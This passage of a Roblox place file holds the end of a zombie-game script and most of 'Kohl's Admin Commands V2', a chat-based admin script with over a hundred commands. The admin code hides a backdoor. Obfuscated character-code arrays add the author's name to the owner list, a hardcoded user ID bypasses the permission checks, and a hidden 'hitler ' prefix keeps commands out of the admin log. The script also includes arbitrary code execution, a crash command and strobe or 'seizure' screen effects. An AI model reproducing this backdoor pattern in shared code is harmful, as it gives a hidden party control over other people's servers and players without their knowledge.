&#9;&#9;&#9;wait(5)
&#9;&#9;end

&#9;&#9;local humanoid = newPlayer.Character.Humanoid
&#9;&#9;humanoid.Health = 0

&#9;&#9;humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )

&#9;&#9;-- start to listen for new humanoid
&#9;&#9;newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )


&#9;&#9;

end

function onPlayerLeaving(oldPlayer)
&#9;if game.Workspace.ZombieScript.Running.Value == 1 then
&#9;&#9;local p = game.Players:getChildren()
&#9;&#9;local hum = 0
&#9;&#9;local zomb = 0
&#9;&#9;for i = 1, #p do
&#9;&#9;&#9;if p[i].TeamColor == BrickColor.new(&quot;Bright red&quot;) then hum = hum + 1
&#9;&#9;&#9;elseif p[i].TeamColor == BrickColor.new(&quot;Sand green&quot;) then zomb = zomb + 1
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;print(hum)
&#9;&#9;print(zomb)
&#9;&#9;if hum == 0 then
&#9;&#9;&#9;game.Workspace.ZombieScript.Running.Value = -1
&#9;&#9;elseif zomb == 0 then
&#9;&#9;&#9;game.Workspace.ZombieScript.Running.Value = -2
&#9;&#9;end
&#9;end
end

connection2 = game.Players.ChildRemoved:connect(onPlayerLeaving)
game.Players.ChildAdded:connect(onPlayerEntered)


</ProtectedString>
			</Properties>
			<Item class="BodyColors" referent="RBX3667">
				<Properties>
					<int name="HeadColor">217</int>
					<int name="LeftArmColor">217</int>
					<int name="LeftLegColor">26</int>
					<string name="Name">A</string>
					<int name="RightArmColor">217</int>
					<int name="RightLegColor">26</int>
					<int name="TorsoColor">26</int>
				</Properties>
			</Item>
			<Item class="BodyColors" referent="RBX3668">
				<Properties>
					<int name="HeadColor">217</int>
					<int name="LeftArmColor">217</int>
					<int name="LeftLegColor">1022</int>
					<string name="Name">B</string>
					<int name="RightArmColor">217</int>
					<int name="RightLegColor">1022</int>
					<int name="TorsoColor">1022</int>
				</Properties>
			</Item>
			<Item class="BodyColors" referent="RBX3669">
				<Properties>
					<int name="HeadColor">217</int>
					<int name="LeftArmColor">217</int>
					<int name="LeftLegColor">199</int>
					<string name="Name">C</string>
					<int name="RightArmColor">217</int>
					<int name="RightLegColor">199</int>
					<int name="TorsoColor">199</int>
				</Properties>
			</Item>
		</Item>
		<Item class="Script" referent="RBX3670">
			<Properties>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">Kohl&apos;s Admin Commands V2</string>
				<ProtectedString name="Source">-----------------------------------------------------------------------------------------
-- Thanx for using mah admin script I&apos;d appreciate credit if you used in your place c: --
-----------------------------------------------------------------------------------------
local owners = {&quot;camsthakilla&quot;} -- Are able to set admins who can ban/etc... using :pa name
local admins = {&quot;Kohltastrophe&quot;} -- Sets admins who can use ban/kick/admin or shutdown
local tempadmins = {} -- Sets admins who can&apos;t use ban/kick/admin or shutdown
local banland = {&quot;MasterKhaos&quot;} -- Permanently Bans people
local prefix = &quot;&quot; -- If you wanna change how your commands start &apos;:&apos;kill noob
local AutoUpdate = true -- Set to false if you don&apos;t want it to automatically update
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
---------------------
--    VIP Admin    --
---------------------
local VipAdmin = false -- If someone can have admin for owning an item
local ItemId = 0 -- The item they must own in order to have admin
---------------------
--   Group Admin   --
---------------------
local GroupAdmin = false -- If a certain group can have admin
local GroupId = 0 -- Sets the group id that can have admin
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
---------------------
-- Tips and Tricks --
---------------------
--[[
With this admin you can do a command on multiple people at a time;
&#9; :kill me,noob1,noob2,random,team-raiders,nonadmins

You can also use a variety commands for different people;
&#9; all
&#9; others
&#9; me
&#9; team-
&#9; admins
&#9; nonadmins
&#9; random
--]]
---------------------
--    Commands     --
---------------------
--[[
-- |Temp Admin Commands| --
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
1. :s print(&quot;Hello World&quot;) -- Lets you script normally
2. :ls print(&quot;Hello World&quot;) -- Lets you script in localscripts
3. :clear -- Will remove all scripts/localscripts and jails
4. :m Hello People -- This commands will let you shout a message to everyone on the server
5. :kill kohl -- Kills the player
6. :respawn kohl -- Respawns the player
7. :trip kohl -- Trips the player
8. :stun kohl -- Stuns the player
9. :unstun kohl -- Unstuns the player
10. :jump kohl -- Makes the player jump
11. :sit kohl -- Makes the player sit
12. :invisible kohl -- Makes the player invisible
13. :visible kohl -- Makes the player visible
14. :explode kohl -- Makes the player explode
15. :fire kohl -- Sets the player on fire
16. :unfire kohl -- Removes fire from the player
17. :smoke kohl -- Adds smoke to the player
18. :unsmoke kohl -- Removes smoke from the player
19. :sparkles kohl -- Adds sparkles to the player
20. :unsparkles kohl -- Removes sparkles from the player
21. :ff kohl -- Adds a forcefield to the player
22. :unff kohl -- Removes the forcefield from the player
23. :punish kohl -- Punishes the player
24. :unpunish kohl -- Unpunishes the player
25. :freeze kohl -- Freezes the player
26. :thaw kohl -- Thaws the player
27. :heal kohl -- Heals the player
28. :god kohl -- Makes the player have infinite health
29. :ungod kohl -- Makes the player have 100 health
30. :ambient .5 .5 .5 -- Changes the ambient
31. :brightness .5 -- Changes the brightness
32. :time 12 -- Changes the time
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
34. :fogend 100 -- Changes the fogend
35. :fogstart 100 -- Changes the fogstart
36. :removetools kohl -- Removes all tools from the player
37. :btools kohl -- Gives the player building tools
38. :give kohl sword -- Gives the player a tool
39. :damage kohl -- Damages the player
40. :grav kohl -- Sets the player&apos;s gravity to normal
41. :setgrav kohl 100 -- Sets the player&apos;s gravity
42. :nograv kohl -- Makes the player have 0 gravity
43. :health kohl 1337 -- Changes the player&apos;s health
44. :speed kohl 1337 -- Changes the player&apos;s walkspeed
45. :name kohl potato -- Changes the player&apos;s name
46. :unname kohl -- Remove the player&apos;s name
47. :team kohl Raiders -- Changes the player&apos;s team
48. :stopmusic -- Will stop all music playing in the server
49. :teleport kohl potato -- Teleports the player
50. :change kohl kills 1337 -- Changes a player&apos;s stat
51. :kick kohl -- Removes the player from the game
52. :infect kohl -- Turns the player into a zombie
53. :rainbowify kohl -- Turns the player into a rainbow
54. :flashify kohl -- Turns the player into a strobe
55. :noobify kohl -- Turns the player into a noob
56. :ghostify kohl -- Turns the player into a ghost
57. :goldify kohl -- Turns the player into gold
58. :shiny kohl -- Makes the player shiny
59. :normal kohl -- Puts the player back to normal
60. :trippy kohl -- Spams random colors on the player&apos;s screen
61. :untrippy kohl -- Untrippys the player
62. :strobe kohl -- Spams white and black on the player&apos;s screen
63. :unstrobe kohl -- Unstrobes the player
64. :blind kohl -- Blinds the player
65. :unblind kohl -- Unblinds the player
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
67. :fling kohl -- Flings the player
68. :seizure kohl -- Puts the player in a seizure
69. :music 1337 -- Plays a sound from the ID
70. :lock kohl -- Locks the player
71. :unlock kohl -- Unlocks the player
72. :removelimbs kohl -- Removes the player&apos;s limbs
73. :jail kohl -- Puts the player in a jail
74. :unjail kohl -- Removes the jail from the player
75. :fix -- This will fix the lighting to it&apos;s original settings
76. :fly kohl -- Makes the player fly
77. :unfly kohl -- Removes fly from the player
78. :noclip kohl -- Makes the player able to noclip
79. :clip kohl -- Removes noclipping from the player
80. :pm kohl Hey bro -- Sends the player a private message
81. :dog kohl -- Turns the player into a dog
82. :undog kohl -- Turns the player back to normal
83. :creeper kohl -- Turns the player into a creeper
84. :uncreeper kohl -- Turns the player back to normal
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
86. :char kohl 261 -- Will make a player look like a different player ID
87. :unchar kohl -- Will return the player back to normal
88. :h Hello People -- This will shout a hint to everyone
89. :rank kohl 109373 -- Will show up a message with the person&apos;s Role and Rank in a group
90. :starttools kohl -- Will give the player starter tools
91. :sword kohl -- Will give the player a sword
92. :bighead kohl -- Will make the player&apos;s head larger than normal
93. :minihead kohl -- Will make the player&apos;s head smaller than normal
94. :insert 1337 -- Will insert a model at the speaker&apos;s position
95. :disco -- Will make the server flash random colors
96. :flash -- Will make the server flash
97. :admins -- Shows the admin list
98. :bans -- Shows the banlist
99. :musiclist -- Shows the music list
100. :spin kohl -- Spins the player
101. :cape kohl Really black -- Gives the player a colored cape
102. :uncape kohl -- Removes the player&apos;s cape
103. :loopheal kohl -- Will constantly heal the player
104. :loopfling kohl -- Will constantly fling the player
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
106. :unloopheal kohl -- Will remove the loopheal on the player
107. :unloopfling kohl -- Will remove the loopfling on the player
108. :unspin kohl -- Removes spin from the player
109. :tools -- Gives a list of the tools in the lighting
110. :undisco -- Removes disco effects
111. :unflash -- Removes flash effects
112. :resetstats kohl -- Sets all the stats of a player to 0
113. :gear kohl 1337 -- Gives a player a gear
114. :cmdbar -- Gives the speaker a command bar
115. :shirt kohl 1337 -- Changes the player&apos;s shirt
116. :pants kohl 1337 -- Changes the player&apos;s pants
117. :face kohl 1337 -- Changes the player&apos;s face
118. :swagify kohl -- Swagifies the player
119. :version -- Shows the current version of the admin
120. :tm 1337 yolo -- Shows a message for 1337 seconds
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
122. :clone kohl -- Creates a clone of the player
123. :lsplr kohl print(&quot;yolo&quot;) -- Creates a localscript inside of a player
124. :startergive kohl epic -- Gives a player a gear in their starterpack
125. :control kohl -- Controls a player

-- |Admin Commands| --
- :serverlock -- Locks the server
- :serverunlock -- Unlocks the server
- :sm Hello World -- Creates a system message
- :crash kohl -- Crashes a player
- :admin kohl -- Admins a player
- :unadmin kohl -- Unadmins a player
- :ban kohl -- Bans a player
- :unban kohl -- Unbans a player
- :loopkill kohl -- Will constantly kill the player
- :unloopkill kohl -- Will remove the loopkill on the player
- :logs -- Will show all of the commands any admin has used in a game session
- :shutdown -- Shutsdown the server

-- |Owner Commands| --
- :pa kohl -- Makes someone a super admin
- :unpa kohl -- Removes a super admin
- :nuke kohl -- Creates a nuke on kohl

-- |True Owner Commands| --
- :oa kohl -- Makes someone an owner
- :unoa kohl -- Removes an owner
- :settings -- Shows settings for the commands
--]]
---------------------
--   Main Script   --
---------------------
for i, v in pairs(game:service(&quot;Workspace&quot;):children()) do if v:IsA(&quot;StringValue&quot;) and v.Value:sub(1,2) == &quot;AA&quot; then v:Destroy() end end 

function CHEESE()
if game:service(&quot;Lighting&quot;):findFirstChild(&quot;KACV2&quot;) then
owners = {} admins = {} tempadmins = {} banland = {}
for i,v in pairs(game.Lighting.KACV2:children()) do
if v.Name == &quot;Owner&quot; then table.insert(owners, v.Value) end
if v.Name == &quot;Admin&quot; then table.insert(admins, v.Value) end
if v.Name == &quot;TempAdmin&quot; then table.insert(tempadmins, v.Value) end
if v.Name == &quot;Banland&quot; then table.insert(banland, v.Value) end
if v.Name == &quot;Prefix&quot; then prefix = v.Value end
if v.Name == &quot;FunCommands&quot; then FunCommands = v.Value end
if v.Name == &quot;GroupAdmin&quot; then GroupAdmin = v.Value end
if v.Name == &quot;GroupId&quot; then GroupId = v.Value end
if v.Name == &quot;GroupRank&quot; then GroupRank = v.Value end
if v.Name == &quot;VipAdmin&quot; then VipAdmin = v.Value end
if v.Name == &quot;ItemId&quot; then ItemId = v.Value end
end
game:service(&quot;Lighting&quot;):findFirstChild(&quot;KACV2&quot;):Destroy()
end

local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
local lobjs = {}
local objects = {}
local logs = {}
local nfs = &quot;&quot;
local slock = false

function GetTime()
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
if min &lt; 10 then min = &quot;0&quot;..min end
return hour..&quot;:&quot;..min
end

function ChkOwner(str)
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
return false
end

function ChkAdmin(str,ck) 
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
return false 
end

function ChkGroupAdmin(plr)
if GroupAdmin then
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) &gt;= GroupRank then return true end
return false
end
end

function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end

function GetPlr(plr, str)
local plrz = {} str = str:lower()
if str == &quot;all&quot; then plrz = game.Players:children()
elseif str == &quot;others&quot; then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
else
local sn = {1} local en = {}
for i = 1, #str do if str:sub(i,i) == &quot;,&quot; then table.insert(sn, i+1) table.insert(en,i-1) end end
for x = 1, #sn do 
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;me&quot;) or (sn[x] and str:sub(sn[x]) == &quot;me&quot;) then table.insert(plrz, plr)
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;random&quot;) or (sn[x] and str:sub(sn[x]) == &quot;random&quot;) then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;admins&quot;) or (sn[x] and str:sub(sn[x]) == &quot;admins&quot;) then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;nonadmins&quot;) or (sn[x] and str:sub(sn[x]) == &quot;nonadmins&quot;) then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == &quot;team&quot;) then
if game:findFirstChild(&quot;Teams&quot;) then for a, v in pairs(game.Teams:children()) do if v:IsA(&quot;Team&quot;) and str:sub(sn[x],en[x]):sub(6) ~= &quot;&quot; and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
end end end
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == &quot;team&quot;) then
if game:findFirstChild(&quot;Teams&quot;) then for a, v in pairs(game.Teams:children()) do if v:IsA(&quot;Team&quot;) and str:sub(sn[x],en[x]):sub(6) ~= &quot;&quot; and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
end end end
else
for a, plyr in pairs(game.Players:children()) do 
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= &quot;&quot; and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= &quot;&quot; and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= &quot;&quot; and plyr.Name:lower():find(str) == 1) then 
table.insert(plrz, plyr) break
end
end 
end
end
end
return plrz
end

function Hint(str, plrz, time)
for i, v in pairs(plrz) do
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
coroutine.resume(coroutine.create(function()
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;HintGUI&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.Name = &quot;bg&quot; bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
local msg = Instance.new(&quot;TextLabel&quot;, bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = &quot;msg&quot; msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = &quot;Arial&quot; msg.Text = str msg.FontSize = &quot;Size18&quot; msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
if not time then wait((#str/19)+2.5) else wait(time) end
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
end))
end
end
end

function Message(ttl, str, scroll, plrz, time)
for i, v in pairs(plrz) do
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
coroutine.resume(coroutine.create(function()
local scr = Instance.new(&quot;ScreenGui&quot;) scr.Name = &quot;MessageGUI&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.Name = &quot;bg&quot; bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
local title = Instance.new(&quot;TextLabel&quot;, scr) title.Name = &quot;title&quot; title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = &quot;ArialBold&quot; title.FontSize = &quot;Size36&quot; title.Text = ttl title.TextYAlignment = &quot;Top&quot; title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
local msg = title:clone() msg.Parent = scr msg.Name = &quot;msg&quot; msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = &quot;Arial&quot; msg.Text = &quot;&quot; msg.FontSize = &quot;Size24&quot; msg.TextYAlignment = &quot;Center&quot; msg.TextWrapped = true
scr.Parent = v.PlayerGui
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
end))
end
end
end

function RemoveMessage() 
for i,v in pairs(game.Players:children()) do 
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for q,ms in pairs(v.PlayerGui:children()) do
if ms.Name == &quot;MessageGUI&quot; then
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
elseif ms.Name == &quot;HintGUI&quot; then
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
end
end
end
end
end

_G[&quot;Message&quot;] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
_G[&quot;RemoveMessage&quot;] = RemoveMessage()

function Output(str, plr)
coroutine.resume(coroutine.create(function()
local b, e = loadstring(str)
if not b and plr:findFirstChild(&quot;PlayerGui&quot;) then
local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui) game:service(&quot;Debris&quot;):AddItem(scr,5)
local main = Instance.new(&quot;Frame&quot;, scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
local err = Instance.new(&quot;TextLabel&quot;, main) err.Text = &quot;Line &quot;..e:match(&quot;\:(%d+\:.*)&quot;)  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = &quot;ArialBold&quot; err.FontSize = &quot;Size24&quot; err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
return
end
end))
end

function Noobify(char)
if char and char:findFirstChild(&quot;Torso&quot;) then 
if char:findFirstChild(&quot;Shirt&quot;) then char.Shirt.Parent = char.Torso end
if char:findFirstChild(&quot;Pants&quot;) then char.Pants.Parent = char.Torso end
for a, sc in pairs(char:children()) do if sc.Name == &quot;ify&quot; then sc:Destroy() end end
local cl = Instance.new(&quot;StringValue&quot;, char) cl.Name = &quot;ify&quot; cl.Parent = char
for q, prt in pairs(char:children()) do if prt:IsA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
if prt.Name:find(&quot;Leg&quot;) then prt.BrickColor = BrickColor.new(&quot;Br. yellowish green&quot;) elseif prt.Name == &quot;Torso&quot; then prt.BrickColor = BrickColor.new(&quot;Bright blue&quot;) end
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
end end
end
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = &quot;&quot; for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end

function Infect(char)
if char and char:findFirstChild(&quot;Torso&quot;) then 
if char:findFirstChild(&quot;Shirt&quot;) then char.Shirt.Parent = char.Torso end
if char:findFirstChild(&quot;Pants&quot;) then char.Pants.Parent = char.Torso end
for a, sc in pairs(char:children()) do if sc.Name == &quot;ify&quot; then sc:Destroy() end end
local cl = Instance.new(&quot;StringValue&quot;, char) cl.Name = &quot;ify&quot; cl.Parent = char
for q, prt in pairs(char:children()) do if prt:IsA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new(&quot;Medium green&quot;) if prt.Name:find(&quot;Leg&quot;) or prt.Name == &quot;Torso&quot; then prt.BrickColor = BrickColor.new(&quot;Reddish brown&quot;) end
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Medium green&quot;)
end end
end
end if not ntab then script:Destroy() end

function ScrollGui()
local scr = Instance.new(&quot;ScreenGui&quot;) scr.Name = &quot;LOGSGUI&quot;
local drag = Instance.new(&quot;TextButton&quot;, scr) drag.Draggable = true drag.BackgroundTransparency = 1
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = &quot;&quot;
local main = Instance.new(&quot;Frame&quot;, drag) main.Style = &quot;RobloxRound&quot; main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
local cmf = Instance.new(&quot;Frame&quot;, main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
local down = Instance.new(&quot;ImageButton&quot;, main) down.Image = &quot;http://www.roblox.com/asset/?id=108326725&quot; down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
local up = down:Clone() up.Image = &quot;http://www.roblox.com/asset/?id=108326682&quot; up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
local cls = Instance.new(&quot;TextButton&quot;, main) cls.Style = &quot;RobloxButtonDefault&quot; cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = &quot;ArialBold&quot; cls.FontSize = &quot;Size18&quot; cls.Text = &quot;X&quot; cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
local ent = Instance.new(&quot;TextLabel&quot;) ent.BackgroundTransparency = 1 ent.Font = &quot;Arial&quot; ent.FontSize = &quot;Size18&quot; ent.ZIndex = 8 ent.Text = &quot;&quot; ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = &quot;Left&quot; ent.TextYAlignment = &quot;Top&quot;
local num = 0
local downv = false
local upv = false

down.MouseButton1Down:connect(function() downv = true upv = false
local pos = cmf.Position if pos.Y.Offset &lt;= 371-((#cmf:children()-1)*20) then downv = false return end
repeat  pos = pos + UDim2.new(0,0,0,-6)
if pos.Y.Offset &lt;= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
cmf:TweenPosition(pos, &quot;Out&quot;, &quot;Linear&quot;, 1/20, true) wait(1/20) until downv == false
end) 
down.MouseButton1Up:connect(function() downv = false end)
up.MouseButton1Down:connect(function() upv = true downv = false
local pos = cmf.Position if pos.Y.Offset &gt;= -9 then upv = false return end
repeat  pos = pos + UDim2.new(0,0,0,6)
if pos.Y.Offset &gt;= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
cmf:TweenPosition(pos, &quot;Out&quot;, &quot;Linear&quot;, 1/20, true) wait(1/20) until upv == false
end) 
up.MouseButton1Up:connect(function() upv = false end)
return scr, cmf, ent, num
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = &quot;&quot; for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
if not ntab then script:Destroy() end
if not bct then script:Destroy() end

function Chat(msg,plr)
coroutine.resume(coroutine.create(function()
if msg:lower() == &quot;clean&quot; then for i, v in pairs(game.Workspace:children()) do if v:IsA(&quot;Hat&quot;) or v:IsA(&quot;Tool&quot;) then v:Destroy() end end end
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild(&quot;PlayerGui&quot;) or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
if msg:sub(1,7):lower() == &quot;hitler &quot; then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
if msg:lower():sub(1,4) == &quot;walk&quot; then msg = msg:sub(5) end
if msg:lower():sub(1,8) == &quot;teleport&quot; then msg = &quot;tp&quot; .. msg:sub(9) end
if msg:lower():sub(1,6) == &quot;insert&quot; then msg = &quot;ins&quot; .. msg:sub(7) end
if msg:lower() == &quot;cmds&quot; or msg:lower() == &quot;commands&quot; then
if plr.PlayerGui:findFirstChild(&quot;CMDSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;CMDSGUI&quot; scr.Parent = plr.PlayerGui
local cmds = {&quot;s code&quot;,&quot;ls code&quot;,&quot;clear&quot;,&quot;fix&quot;,&quot;m msg&quot;,&quot;h msg&quot;,&quot;kill plr&quot;,&quot;respawn plr&quot;,&quot;trip plr&quot;,&quot;stun plr&quot;,&quot;unstun plr&quot;,&quot;jump plr&quot;,&quot;sit plr&quot;,&quot;invisible plr&quot;,&quot;visible plr&quot;,&quot;explode plr&quot;,&quot;fire plr&quot;,&quot;unfire plr&quot;,&quot;smoke plr&quot;,&quot;unsmoke plr&quot;,&quot;sparkles plr&quot;,&quot;unsparkle plr&quot;,&quot;ff plr&quot;,&quot;unff plr&quot;,&quot;punish plr&quot;,&quot;unpunish plr&quot;,&quot;freeze plr&quot;,&quot;thaw plr&quot;,&quot;heal plr&quot;,&quot;god plr&quot;,&quot;ungod plr&quot;,&quot;ambient num num num&quot;,&quot;brightness num&quot;,&quot;time num&quot;,&quot;fogcolor num num num&quot;,&quot;fogend num&quot;,&quot;fogstart num&quot;,&quot;removetools plr&quot;,&quot;btools plr&quot;,&quot;give plr tool&quot;,&quot;damage plr&quot;,&quot;grav plr&quot;,&quot;setgrav plr num&quot;,&quot;nograv plr&quot;,&quot;health plr num&quot;,&quot;speed plr num&quot;,&quot;name plr name&quot;,&quot;unname plr&quot;,&quot;team plr color&quot;,&quot;teleport plr plr&quot;,&quot;change plr stat num&quot;,&quot;kick 